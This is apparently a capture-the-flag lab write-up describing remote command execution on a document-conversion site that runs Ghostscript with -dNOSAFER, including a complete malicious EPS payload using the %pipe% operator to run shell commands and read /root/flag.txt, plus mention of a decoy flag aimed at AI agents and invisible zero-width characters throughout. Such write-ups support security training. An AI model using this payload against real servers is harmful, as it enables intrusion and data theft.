Lab 345 — PrintForge — RCE via Ghostscript Command Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ghostscript_pipe_command_execution, honeypot_flag_detection, nosafety_misconfiguration_exploit, pdf_conversion_pipeline_abuse, postscript_file_operator_rce

Summary

Walkthrough of the CUSTOM Web Lab 345 — PrintForge — RCE via Ghostscript Command Injection. Task: Document conversion platform using Ghostscript with -dNOSAFER to convert EPS/PS to PDF. Solution: craft a malicious EPS file using PostScript's %pipe% read operator to execute shell commands and

Description

PrintForge is an enterprise document conversion and collaboration platform built by ForgeDoc Systems. The application allows teams to upload, convert, and share documents across projects. It supports various file formats including PostScript (.ps) and Encapsulated PostScript (.eps) files, which are automatically converted to PDF using a server-side rendering pipeline (Ghostscript).

Target: https://e613bc06-aca6-4e21-a3b4-1a44f834b4e0.labs.hackadvisor.io/ Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Objective: Find and exploit a vulnerability in the document processing pipeline to read sensitive files from the server.

Analysis

Reconnaissance

1. Platform features: Document upload at /documents/upload accepting EPS, PS, PDF, PNG, JPG, DOC, DOCX
2. Conversion pipeline: Uploaded EPS/PS files are automatically converted to PDF using Ghostscript
3. API endpoint: /api/documents/convert available for retrying failed conversions
4. Honeypot detection: HTML source contained a decoy flag (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in comments and invisible divs — designed to trick AI agents and automated scanners
5. Server stack: nginx/1.25.5, Flask backend (identified by session cookie format) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identifying the Vulnerability

A benign EPS file was uploaded and successfully converted, confirming the Ghostscript pipeline works. Examining the metadata of a generated PDF revealed the exact Ghostscript invocation:

gs -dNOSAFER -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -sOutputFile=? ?

The -dNOSAFER flag is the critical misconfiguration — it disables Ghostscript's security sandbox, allowing PostScript code to:

• Access the filesystem
• Execute shell commands via the %pipe% operator
• Read arbitrary files ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Ghostscript version: 9.53.3

Failed Approaches

Several techniques were attempted before finding the working exploit:

Working Technique

The %pipe% read operator — (%pipe%command) (r) file — opens a pipe, executes the shell command, and reads stdout back into PostScript. The output can then be rendered as text on the PDF page using standard PostScript drawing commands.

Solution

Step 1: Craft Malicious EPS File

Created an EPS file that uses PostScript's %pipe% operator to execute shell commands and render the output as text in the generated PDF:

 postscript read-only • copy allowed Copy
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 612 792
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/Courier findfont 7 scalefont setfont

(%pipe%cat /flag.txt 2>/dev/null; cat /root/flag.txt 2>/dev/null; cat /flag 2>/dev/null; find / -maxdepth 3 -name "flag*" 2>/dev/null) (r) file
50 780 moveto
{
  dup 512 string readline
  {
    50 currentpoint exch pop 9 sub moveto
    show
  }
  { pop exit }
  ifelse
} loop

showpage

How this works:

1. (%pipe%cat /flag.txt ...) — opens a pipe to execute multiple shell commands searching for the flag in common locations
2. (r) file — opens the pipe in read mode, capturing stdout
3. 512 string readline — reads output line by line
4. moveto / show — renders each line as Courier text on the PDF page, moving down 9 points per line ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Upload and Convert

Uploaded the malicious EPS file via the document upload form at /documents/upload. The Ghostscript pipeline processed it automatically, executing the embedded shell commands during PDF conversion.

Step 3: Download and Read the Flag

Downloaded the resulting PDF from /documents/29/download. The PDF contained the command output rendered as text:

FLAG{REDACTED}
/tmp/flagloc.txt
/root/flag.txt

The flag was located at /root/flag.txt.

Notes

• The login page contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible divs — always verify flags against the actual objective
• Even with -dNOSAFER, some operations (direct file read, write-mode pipes) may still fail — the %pipe% read operator is the most reliable exfiltration path
• The putdeviceprops technique (CVE-2023-36664 style) executed commands but redirected PDF output to the pipe, making it useless for data exfiltration
• Ghostscript 9.53.3 is outdated and has multiple known CVEs; the -dNOSAFER flag compounds the risk
• This is a classic server-side document processing RCE pattern — any time user-controlled PostScript reaches Ghostscript without SAFER mode, arbitrary command execution is possible ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering ghostscript_pipe_command_execution, honeypot_flag_detection, nosafety_misconfiguration_exploit, pdf_conversion_pipeline_abuse, postscript_file_operator_rce was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-07 • CUSTOM • Lab 345 — PrintForge — RCE via Ghostscript Command Injection • Difficulty: Medium